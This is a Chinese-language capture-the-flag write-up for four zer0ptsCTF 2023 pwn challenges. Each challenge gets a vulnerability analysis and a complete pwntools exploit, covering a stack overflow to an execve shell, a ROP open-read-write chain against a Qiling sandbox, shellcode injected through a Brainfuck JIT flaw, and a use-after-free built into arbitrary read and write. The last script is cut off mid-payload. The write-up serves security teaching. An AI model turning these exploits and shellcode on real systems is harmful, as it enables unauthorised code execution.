0%

zer0ptsCTF2023

aush

1
2
3
4
5
6
aush: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=2a5305931cbcc0922d0271cf6457ea091ad67e75, for GNU/Linux 3.2.0, not stripped
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
  • 64位,dynamically,全开

漏洞分析

程序提供了后门,但需要匹配两个随机数:

1
execve("/bin/sh", &path, (char *const *)envp);

程序有栈溢出,可以覆盖 passwdg

1
2
3
4
5
char nameg[16]; // [rsp+40h] [rbp-80h] BYREF
char name_input[16]; // [rsp+50h] [rbp-70h] BYREF
char v10; // [rsp+60h] [rbp-60h]
char passwdg[32]; // [rsp+70h] [rbp-50h] BYREF
char passwd_input[32]; // [rsp+90h] [rbp-30h] BYREF

入侵思路

先进行 patch,使 /usr/games/cowsay 不影响程序的执行

1
2
3
4
5
fd = open("/dev/urandom", 0);
if ( fd == -1 )
return 1LL;
v8 = read(fd, a1, a2) != a2;
v9 = read(fd, a3, a4) != a4 || v8;

程序的随机数是由 /dev/urandom 提供的,它将返回用算法计算出来的伪随机数

1
2
3
4
5
6
7
if ( memcmp(nameg, name_input, 0x10uLL) )
{
path = "/usr/games/cowsay";
v6 = "Invalid username";
v7 = 0LL;
execve("/usr/games/cowsay", &path, (char *const *)envp);
}
  • execve 会替换当前程序,而破坏环境变量会导致 execve 失效

第一次溢出覆盖环境变量为 0xffff 使 execve 失效,第二次溢出覆盖环境变量为 0 使 execve 恢复

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
challenge = './aush1'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
#libc = ELF('libc-2.31.so')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

b = "set debug-file-directory ./.debug/\n"

local = 0
if local:
p = process(challenge)
#p = gdb.debug(challenge, b)
else:
p = remote('pwn.2023.zer0pts.com','9006')

def debug():
#gdb.attach(p)
gdb.attach(p,"b *$rebase(0x1410)\n")
pause()

def cmd(op):
sla(">",str(op))

#debug()

sla("Username:","a"*0x198+p64(0xffff))
sla("Password:","a"*0x158+p64(0))

p.interactive()

qjail

1
GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.9) stable release version 2.31.
1
2
3
4
5
6
vuln: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=3bd551d0922ad50f6c212770371eaad715a83d67, for GNU/Linux 3.2.0, not stripped
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
  • 64位,dynamically,全开

程序启动方式如下:

1
python3 sandbox.py ./vuln

漏洞分析

无限栈溢出:

1
2
puts("Enter something");
__isoc99_scanf("%s", buf);

入侵思路

在提供的 Dockerfile 文件中发现该程序是通过 sandbox.py 启动的:

1
2
3
4
5
6
7
8
9
10
11
12
#!/usr/bin/env python3
import qiling
import sys

if __name__ == '__main__':
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} <ELF>")
sys.exit(1)

cmd = ['./lib/ld-2.31.so', '--library-path', '/lib', sys.argv[1]]
ql = qiling.Qiling(cmd, console=False, rootfs='.')
ql.run()
  • 看上去好像只是为了换 libc 版本

开了 canary,不能直接打 ROP,然而程序又没有可以泄露 canary 的地方

现在唯一的突破口就是 qiling,按照网上的说法,由 qiling 模块启动的程序的 canary 为固定值,并且还可以进行任意设置:

1
2
ql = qiling.Qiling(cmd, console=False, rootfs='.')
ql.env["__cookie"] = "0x12345678"
  • 使用 ql.env 字典来设置环境变量

Canary 的数值来源于 AT_RANDOM,它包含了从 /dev/urandom 设备文件中读取的随机数,在没有设置 __cookie 的情况下,由 qiling 启动的程序会将 AT_RANDOM 设置为一个固定值

1
2
3
4
auxv_entries = (
......
(AUXV.AT_RANDOM, randstraddr),
......
1
new_stack = randstraddr = __push_str(new_stack, 'a' * 16)
1
2
3
4
5
6
def __push_str(top: int, s: str) -> int:
data = s.encode('latin') + b'\x00' # 字节对象的编码转换
top = self.ql.mem.align(top - len(data), self.ql.arch.pointersize)
self.ql.mem.write(top, data)

return top
  • canary 的默认值就是 0x6161616161616100

查看 qiling 源码中的 qiling/profile/linux.ql 文件可以发现:ld 基地址,栈基地址,mmap 映射地址都是固定的

1
2
3
4
5
6
7
[OS64]
stack_address = 0x7ffffffde000
stack_size = 0x30000
load_address = 0x555555554000
interp_address = 0x7ffff7dd5000
mmap_address = 0x7fffb7dd6000
vsyscall_address = 0xffffffffff600000
  • 其中并没有程序基地址和 libc 基地址的信息

通过设置 ql.debugger = True 得到的调试信息如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x30000 0x31000 rwxp 1000 0 [GDT]
0x555555554000 0x555555555000 r--p 1000 0 /home/yhellow/桌面/pwn/lib/ld-2.31.so
0x555555555000 0x555555578000 r-xp 23000 0 /home/yhellow/桌面/pwn/lib/ld-2.31.so
0x555555578000 0x555555580000 r--p 8000 0 /home/yhellow/桌面/pwn/lib/ld-2.31.so
0x555555581000 0x555555582000 r--p 1000 0 /home/yhellow/桌面/pwn/lib/ld-2.31.so
0x555555582000 0x555555584000 rw-p 2000 0 /home/yhellow/桌面/pwn/lib/ld-2.31.so
0x555555584000 0x555555586000 rwxp 2000 0 [hook_mem]
0x7fffb7dd6000 0x7fffb7dd7000 r--p 1000 0 [mmap] vuln
0x7fffb7dd7000 0x7fffb7dd8000 r-xp 1000 0 [mmap] vuln
0x7fffb7dd8000 0x7fffb7dd9000 r--p 1000 0 [mmap] vuln
0x7fffb7dd9000 0x7fffb7dda000 r--p 1000 0 [mmap] vuln
0x7fffb7dda000 0x7fffb7ddb000 rw-p 1000 0 [mmap] vuln
0x7fffb7ddb000 0x7fffb7dfd000 r--p 22000 0 [mmap] libc.so.6
0x7fffb7dfd000 0x7fffb7f75000 r-xp 178000 0 [mmap] libc.so.6
0x7fffb7f75000 0x7fffb7fc3000 r--p 4e000 0 [mmap] libc.so.6
0x7fffb7fc3000 0x7fffb7fc7000 r--p 4000 0 [mmap] libc.so.6
0x7fffb7fc7000 0x7fffb7fc9000 rw-p 2000 0 [mmap] libc.so.6
0x7fffb7fc9000 0x7fffb7fcd000 rw-p 4000 0 [mmap anonymous]
0x7fffb7fcd000 0x7fffb7fcf000 rw-p 2000 0 [mmap anonymous]
0x7ffffffde000 0x80000000e000 rwxp 30000 0 [stack]
0xffffffffff600000 0xffffffffff601000 rwxp 1000 0 [vsyscall]
  • 这里的 load_address 就是 ld 的加载地址,而 mmap_address 就是程序基地址,libc 基地址就在其后
  • 经过测试发现这些地址都是固定的

最后尝试用 sys_execve 的时候出现了问题:

1
FileNotFoundError: [Errno 2] No such file or directory: '/home/yhellow/桌面/pwn/bin/sh'

由于程序限制了根目录,直接打 ORW

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
challenge = './vuln'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
libc = ELF('lib/libc.so.6')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

b = "set debug-file-directory ./.debug/\n"

local = 1
if local:
p = process(["./sandbox.py",challenge])
#p = process(challenge)
#p = gdb.debug(challenge, b)
else:
p = remote('34.123.210.162','20234')


def debug():
#gdb.attach(p,"b *0x401EF9\n")
gdb.attach(p,"b *$rebase(0x1216)\n")
pause()

def cmd(op):
sla(">",str(op))

#debug()
canary = 0x6161616161616100
pro_base = 0x7fffb7dd6000
libc_base = 0x7fffb7ddb000

pop_rax_ret = libc_base + 0x0000000000036174
pop_rdi_ret = libc_base + 0x0000000000023b6a
pop_rsi_ret = libc_base + 0x000000000002601f
pop_rdx_ret = libc_base + 0x0000000000142c92
syscall_ret = libc_base + 0x000000000010db59
mov_rdi_rax_ret = libc_base + 0x000000000005b622
pop_rcx_rbx_ret = libc_base + 0x000000000010257e
binsh_addr = libc_base + 0x1b45bd
bss_addr = pro_base + 0x4010 + 0x200

payload = "a"*0x108+p64(canary)+"b"*0x8
payload += p64(pop_rax_ret)+p64(0)
payload += p64(pop_rdi_ret)+p64(0)
payload += p64(pop_rsi_ret)+p64(bss_addr)
payload += p64(pop_rdx_ret)+p64(0x30)
payload += p64(syscall_ret) # read
payload += p64(pop_rax_ret)+p64(2)
payload += p64(pop_rdi_ret)+p64(bss_addr)
payload += p64(pop_rsi_ret)+p64(0)
payload += p64(pop_rdx_ret)+p64(0)
payload += p64(syscall_ret) # open
payload += p64(pop_rcx_rbx_ret)+p64(0x100)+p64(0)
payload += p64(mov_rdi_rax_ret)
payload += p64(pop_rsi_ret)+p64(bss_addr)
payload += p64(pop_rdx_ret)+p64(0x30)
payload += p64(pop_rax_ret)+p64(0)
payload += p64(syscall_ret) # read
payload += p64(pop_rax_ret)+p64(1)
payload += p64(pop_rdi_ret)+p64(1)
payload += p64(pop_rsi_ret)+p64(bss_addr)
payload += p64(pop_rdx_ret)+p64(0x30)
payload += p64(syscall_ret) # write
payload += p64(pop_rax_ret)+p64(60)
payload += p64(pop_rdi_ret)+p64(0)
payload += p64(syscall_ret) # exit

sla("something",payload)
p.send("flag")

p.interactive()

brainjit

这是一个 python 程序:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
if __name__ == '__main__':
print("Brainf*ck code: ", end="", flush=True)
code = ''
for _ in range(0x8000):
c = sys.stdin.read(1)
if c == '\n': break
code += c
else:
raise MemoryError("Code must be less than 0x8000 bytes.")

signal.alarm(15)
jit = BrainJIT(code)
jit.compile()
jit.run()
  • 这是一个 Brainfuck 语言的解释器

Brainfuck 的8种符号如下:

符号 含义
> pointer ++
< pointer —
+ *(pointer) ++
- *(pointer) —
. output(pointer)
, input(pointer)
[ while (*pointer) {
] }

漏洞分析

该程序就是先将 Brainfuck 语言解释为二进制代码,然后利用如下代码进行执行:

1
2
3
4
def run(self):
ctypes.CFUNCTYPE(ctypes.c_int, *tuple())(
ctypes.addressof(ctypes.c_int.from_buffer(self._code))
)()
  • 代码的主要目的是将一个整数类型的地址(通过 ctypes.addressof() 获取)传递给回调函数,该整数类型表示一个字节字符串
  • ctypes.CFUNCTYPE:表示一个接受任意数量的参数(包括可选参数)的函数类型

漏洞点如下:

1
2
3
4
5
6
7
elif insn == '[':
# mov al, byte ptr [rbp+rbx]
# test al, al
# jz ??? (address will be fixed later)
emit += b'\x42\x8a\x44\x05\x00\x84\xc0'
emit += b'\x0f\x84' + p32(-1)
jumps.append(self._code_len + len(emit))
  • 如果只设置 [ 而不设置 ] 就会导致指令错位
1
2
3
4
5
6
7
8
9
10
11
   0x7f9cb48cb04d    mov    al, byte ptr [rbp + r8]
0x7f9cb48cb052 test al, al
0x7f9cb48cb054 ✔ je 7f9cb48cb059h <0x7f9cb48cb059>

0x7f9cb48cb059 dec dword ptr [rcx - 7fh]
------------------------------------------------------
0x7f69c146504d mov al, byte ptr [rbp + r8]
0x7f69c1465052 test al, al
0x7f69c1465054 ✔ je 7f69c1465078h <0x7f69c1465078>

0x7f69c1465078 pop rbp

入侵思路

先关闭地址随机化,二进制代码起始地址为 0x7ffff7a91000,写入数据的基地址为 0x7ffff7e2c000

1
2
3
4
5
6
# int3
# push r8
# push rbp
# xor ebx, ebx
# mov rbp, addr_mem
emit_enter = b'\x72\x01\xcc' + b'\x41\x50\x55\x45\x31\xc0\x48\xbd' + p64(addr_mem)
  • 调试前先在 emit_enter 之前加一个 int3,每次调试时都会在这里进行断点

指令错位可以在预期指令前添加一个 \xff

1
code = '[+' + '>' * 0x5558
1
2
3
4
5
6
7
8
  0x7ffff7a91013    mov    al, byte ptr [rbp + r8]
0x7ffff7a91018 test al, al
0x7ffff7a9101a je 7ffff7a9101fh <0x7ffff7a9101f>

0x7ffff7a9101f inc dword ptr [rdx - 2]
0x7ffff7a91022 add eax, 0c0814900h
0x7ffff7a91028 pop rax
0x7ffff7a91029 push rbp
1
2
3
pwndbg> x/20xg 0x7ffff7a9101f
0x7ffff7a9101f: 0x8149000544fe42ff 0xf8814900005558c0
0x7ffff7a9102f: 0x5dcc017200008000 0x0000000000c35841
  • 这一字节的错位就可以让我们执行两字节的指令 pop rax; push rbp;
  • 核心目的就是为了使栈顶指针指向 rbp,而 pop rax 是为了防止后续出现段错误
1
2
RBP  0x7ffff7e2c000 ◂— 0
RSP 0x7fffffffd418 —▸ 0x7fffffffd430 ◂— 0x6
  • 由于 rbp 正好指向我们的数据区,如果在这里写入 shellcode 就可以在 ret 指令跳转时执行 shellcode(至于 ret 指令,还是可以用同样的方法写入)

于是入侵的步骤为:

  • 利用指令错位构造 pop rax; push rbp;
  • 在 0x7ffff7e2c000 中写入 shellcode
  • 利用指令错位构造 ret;

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
challenge = './app.py'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

#elf = ELF(challenge)
#libc = ELF('libc-2.31.so')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

b = "set debug-file-directory ./.debug/\n"

local = 1
if local:
p = process(challenge)
#p = gdb.debug(challenge, b)
else:
p = remote('119.13.105.35','10111')

def debug():
gdb.attach(p,"")
#gdb.attach(p,"b *$rebase()\n")
pause()

def cmd(op):
sla(">",str(op))

def cshellcode(code):
re = ""
for i in code:
re += "+"*i
re += ">"
return re

#debug()

shellcode = b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05"

payload = "[+" + ">"*0x5558
payload += cshellcode(shellcode)
payload += "[+" + ">"*0xc3

sla("Brainf*ck code:",payload)

p.interactive()

wise

1
GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3.4) stable release version 2.35.

先安装必要的库:(在 Dockerfile 中看的)

1
sudo apt-get -y install libevent-dev 
1
2
3
4
5
6
spy: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=90e12ec5d3d303671f6f0581af22bad63082f0e1, for GNU/Linux 3.2.0, with debug_info, not stripped
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
  • 64位,dynamically,Full RELRO,NX,PIE

在 IDA 中发现如下字符串:

1
2
.rodata:00000000001046FC 20 74 6F 20 28 55 49 6E 74 33+aToUint32Uint64 db ' to (UInt32 | UInt64) failed, at /home/ptr/app/crystal/share/crystal/src/exception/call_stack/d'
.rodata:00000000001046FC 32 20 7C 20 55 49 6E 74 36 34+db 'warf.cr:56:40:56',0

crystal-lang

Crystal 是一种基于 LLVM 的可编译静态类型编程语言,用于编写高性能、可扩展的程序

在 ubuntu 上的安装教程如下:Install On Ubuntu - The Crystal Programming Language (crystal-lang.org)

测试样例:

1
2
3
4
5
6
7
8
9
# server.cr
require "socket"

server = TCPServer.new(8080)
loop do
client = server.accept
client.puts "Hello, world!"
client.close
end

进行编译:

1
crystal build main.cr
  • 对编译好的文件进行逆向分析,发现与题目文件高度相似

漏洞分析

程序提供了如下功能:

1
2
3
4
5
6
1. Add new citizen /* malloc chunk */
2. Update personal information /* edit chunk */
3. Print list of citizen /* show chunk */
4. Mark as spy /* store chunk */
5. Give memorable ID to spy /* edit store chunk */
6. Print information of spy /* show store chunk */
  • 功能4可以将目标 chunk 的存放入栈中

漏洞点就是:放入栈中保存的数据可能因为某种原因被释放,导致 UAF

分析程序

本题目的堆风水比较复杂(crystal 应该是使用 GC 来管理堆内存)

1
2
3
id = add(b"a"*4)
for i in range(3):
add(chr(i+0x30)*4)
  • crystal 的堆是向上填充的(使用 mmap 创建堆空间)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
1c:00e00x7ffff7cd1f20 ◂— 0x400000001 
1d:00e80x7ffff7cd1f28 ◂— 0x3232323200000000 /* 2222 */
1e:00f0│ 0x7ffff7cd1f30 ◂— 0x0
1f:00f8│ 0x7ffff7cd1f38 ◂— 0x0
20:01000x7ffff7cd1f40 ◂— 0x400000001
21:01080x7ffff7cd1f48 ◂— 0x3131313100000000 /* 1111 */
22:01100x7ffff7cd1f50 ◂— 0x0
23:01180x7ffff7cd1f58 ◂— 0x0
24:01200x7ffff7cd1f60 ◂— 0x400000001
25:01280x7ffff7cd1f68 ◂— 0x3030303000000000 /* 0000 */
26:01300x7ffff7cd1f70 ◂— 0x0
27:01380x7ffff7cd1f78 ◂— 0x0
28:01400x7ffff7cd1f80 —▸ 0x7ffff7cd1f00 —▸ 0x7ffff7cd1ee0 —▸ 0x7ffff7cd1ec0 —▸ 0x7ffff7cd1ea0 ◂— ... /* free chunk */
29:01480x7ffff7cd1f88 ◂— 0x429aa2b3a5215326
2a:01500x7ffff7cd1f90 ◂— 0x4cd694ac191266b9
2b:01580x7ffff7cd1f98 ◂— 0x0
2c:01600x7ffff7cd1fa0 ◂— 0x400000001
2d:01680x7ffff7cd1fa8 ◂— 0x6161616100000000 /* aaaa */
2e:01700x7ffff7cd1fb0 ◂— 0x0
2f:01780x7ffff7cd1fb8 ◂— 0x0

程序中关键的结构如下:

1
2
3
4
pwndbg> telescope 0x7ffff7ce4e00
00:00000x7ffff7ce4e00 ◂— 0x4a9685c83a3acd9
01:00080x7ffff7ce4e08 ◂— 0x388dcda5fbac62a3
02:00100x7ffff7ce4e10 ◂— 0xd3ed9d1013491f7a
  • 用于管理 ID
1
2
3
4
pwndbg> telescope 0x7ffff7ce5e00
00:00000x7ffff7ce5e00 —▸ 0x7ffff7cd1fa0 ◂— 0x400000001
01:00080x7ffff7ce5e08 —▸ 0x7ffff7cd1f60 ◂— 0x400000001
02:00100x7ffff7ce5e10 —▸ 0x7ffff7cd1f40 ◂— 0x400000001
  • 用于管理 Name
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
pwndbg> telescope 0x7ffff7ccde90-0x50
00:00000x7ffff7ccde40 ◂— 0x8b
01:00080x7ffff7ccde48 ◂— 0x400000001
02:00100x7ffff7ccde50 —▸ 0x7ffff7cd3ed0 —▸ 0x7ffff7cd4dc0 ◂— 0x7a /* 'z' */
03:00180x7ffff7ccde58 ◂— 0x0
04:00200x7ffff7ccde60 ◂— 0x10000008b
05:00280x7ffff7ccde68 ◂— 0x400000001
06:00300x7ffff7ccde70 —▸ 0x7ffff7cd3f00 ◂— 0x0
07:00380x7ffff7ccde78 ◂— 0x0
08:00400x7ffff7ccde80 ◂— 0x1a00000004
09:00480x7ffff7ccde88 ◂— 0x30 /* '0' */
0a:00500x7ffff7ccde90 —▸ 0x7ffff7ce5e00 —▸ 0x7ffff7cd1fa0 ◂— 0x400000001 /* addr_nameList */
0b:00580x7ffff7ccde98 ◂— 0x0
0c:00600x7ffff7ccdea0 ◂— 0x1a0000001a
0d:00680x7ffff7ccdea8 ◂— 0x30 /* '0' */
0e:00700x7ffff7ccdeb0 —▸ 0x7ffff7ce4e00 ◂— 0x4a9685c83a3acd9 /* addr_idList */
0f:00780x7ffff7ccdeb8 ◂— 0x0
10:00800x7ffff7ccdec0 ◂— 0x8b
  • 用于管理整个程序

入侵思路

程序会调用类似于 realloc 的程序来申请存储 ID 的 chunk,利用这一点可以使该 chunk 被释放

但存储在栈中的 chunk 并不会更新,仍然使用原来的 chunk,这就造成了 UAF

泄露 heap_base 的脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
id = add(b"a"*4)
for i in range(23):
add(chr(i+0x30)*4)
spy(id)
add(b"yhw")
show_spy()

ru("ID: ")
leak_addr = eval(ru("\n"))
heap_base = leak_addr - 0x20dd0
success("leak_addr >> "+hex(leak_addr))
success("heap_base >> "+hex(heap_base))

程序提供了修改 store chunk 的功能,利用这一点可以修改 free chunk list,从而申请到几乎任意地址的 chunk

接下来就可以尝试覆盖程序用于管理 ID 和 Name 的结构体,进而引发逻辑错误:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
pwndbg> telescope 0x7ffff7ccde90-0x50
00:00000x7ffff7ccde40 ◂— 0x8b
01:00080x7ffff7ccde48 ◂— 0x400000001
02:00100x7ffff7ccde50 —▸ 0x7ffff7cd3ed0 —▸ 0x7ffff7cd4dc0 ◂— 0x7a /* 'z' */
03:00180x7ffff7ccde58 ◂— 0x0
04:00200x7ffff7ccde60 ◂— 0x10000008b
05:00280x7ffff7ccde68 ◂— 0x400000001 /* spy_key */
06:00300x7ffff7ccde70 —▸ 0x7ffff7cd3f00 ◂— 0x0
07:00380x7ffff7ccde78 ◂— 0x0
08:00400x7ffff7ccde80 ◂— 0x1a00000004
09:00480x7ffff7ccde88 ◂— 0x30 /* '0' */
0a:00500x7ffff7ccde90 —▸ 0x7ffff7ce5e00 —▸ 0x7ffff7cd1fa0 ◂— 0x400000001
0b:00580x7ffff7ccde98 ◂— 0x0
0c:00600x7ffff7ccdea0 ◂— 0x1a0000001a
0d:00680x7ffff7ccdea8 ◂— 0x30 /* '0' */
0e:00700x7ffff7ccdeb0 —▸ 0x7ffff7ce4e00 ◂— 0x95c818ca05833371 /* addr_idList */
  • 核心点就是覆盖 addr_idList,将 0x7ffff7ce4e00 覆盖为 0x7ffff7ccdeb0 使其指向自身(后面会分析为什么)
  • 其次就是覆盖 spy_key0x400000000,不然会导致 edit store chunk 段错误(目前不知道原因)

当我们完成以上两点覆盖后,就可以执行如下代码:

1
2
3
spy(0x7ffff7ccdeb0) # spy(addr_idList)
edit_spy(address)
show()
  • 由于 0x7ffff7ccdeb0 指向自身,执行 spy(0x7ffff7ccdeb0) 后,此时程序会同时将 0x7ffff7ccdeb0 给当成 idListid,并将 addr_id(0x7ffff7ccdeb0) 存储到栈上
  • 执行 edit_spy(address) 时会往 0x7ffff7ccdeb0 中写入 address
  • 执行 show 时就会将 *(address) 打印出来

构建 WAA 和 RAA 的脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
spy(addr_idList)

def RAA(address):
edit_spy(address)
show()
ru("ID: ")
leak_addr = eval(ru("\n"))
return leak_addr

def WAA(address, values):
edit_spy(address - 0x10)
for value in values:
id = add(b"A")
spy(id)
edit_spy(value)

最后利用 WAA 劫持栈地址,写一个 system("/bin/sh") 即可

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
challenge = './spy1'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
libc = ELF('libc.so.6')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

b = "set debug-file-directory ./.debug/\n"

local = 1
if local:
p = process(challenge)
#p = gdb.debug(challenge, b)
else:
p = remote('119.13.105.35','10111')

def debug():
gdb.attach(p,"")
#gdb.attach(p,"b *$rebase(0x847C0)\n")
pause()

def cmd(op):
sla(">",str(op))

def add(name):
cmd(1)
sla("person:",name)
ru("ID: ")
id = eval(ru("\n"))
return id

def edit(id,name):
cmd(2)
sla("ID: ",str(id))
sla("name: ",name)

def show():
cmd(3)

def spy(id):
cmd(4)
sla("suspect:",str(id))

def edit_spy(id):
cmd(5)
sla("ID:",str(id))

def show_spy():
cmd(6)

id = add(b"a"*4)
for i in range(23):
add(chr(i+0x30)*4)

spy(id)
add(b"yhw")
show_spy()

ru("ID: ")
leak_addr = eval(ru("\n"))
heap_base = leak_addr - 0x20dd0
success("leak_addr >> "+hex(leak_addr))
success("heap_base >> "+hex(heap_base))

addr_nameList = heap_base + 0xbe90
addr_idList = heap_base + 0xbe90+0x20
addr_nameList_buf = heap_base + 0x23e00
addr_idList_buf = heap_base + 0x22e00
success("addr_nameList >> "+hex(addr_nameList))
success("addr_idList >> "+hex(addr_idList))
success("addr_nameList_buf >> "+hex(addr_nameList_buf))
success("addr_idList_buf >> "+hex(addr_idList_buf))

edit_spy(addr_nameList - 0x60)

payload = b"A"*0x4
payload += p64(0x8b)
payload += p64(0x400000001)
payload += p64(heap_base + 0x11ed0)
payload += p64(0)
payload += p64(0x10000008b)
payload += p64(0x400000000)
payload += p64(heap_base + 0x11f00)
# name_list
payload += p64(0)
payload += p64(0x1a00000004) # type / size
payload += p64(0x30) # capacity
payload += p64(addr_nameList_buf) # buffer
payload += p64(0)
# id_list
payload += p64(0x1a0000001a) # type / size
payload += p64(0x30) # capacity
payload += p64(addr_idList) # buffer --> pointerof(idList.@buffer)
payload += p64(0)
# save heap state
payload += p64(0x8b)+p64(0)*3
payload += p64(0x30000008b)+p64(0x400000000)
payload += p64(heap_base + 0x11f30)

payload += b'\x00' * (0xc0 - len(payload))

add(payload)
add(payload)
spy(addr_idList)

def RAA(address):
edit_spy(address)
show()
ru("ID: ")
leak_addr = eval(ru("\n"))
return leak_addr

def WAA(address, values):
edit_spy(address-0xc8-0x10)
for value in values:
id = add(b"A")
spy(id)
edit_spy(value)

true_heap_addr = heap_base + 0x13f90
true_heap_base = RAA(true_heap_addr) - 0x3580
success("true_heap_base >> "+hex(true_heap_base))

ru("Name: AAAA")
ru("Name: AAAA")
ru("Name: AAAA")

libc_addr = true_heap_base + 0x35c0
leak_addr = RAA(libc_addr)
libc_base = leak_addr - 0x424310
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))

ru("Name: AAAA")
ru("Name: AAAA")
ru("Name: AAAA")

stack_libc = libc_base + libc.sym['environ']
stack_addr = RAA(stack_libc) - 0x120
success("stack_addr >> "+hex(stack_addr))

ru("Name: AAAA")
ru("Name: AAAA")
ru("Name: AAAA")

WAA(stack_addr, [
(libc_base + 0x0000000000029139),
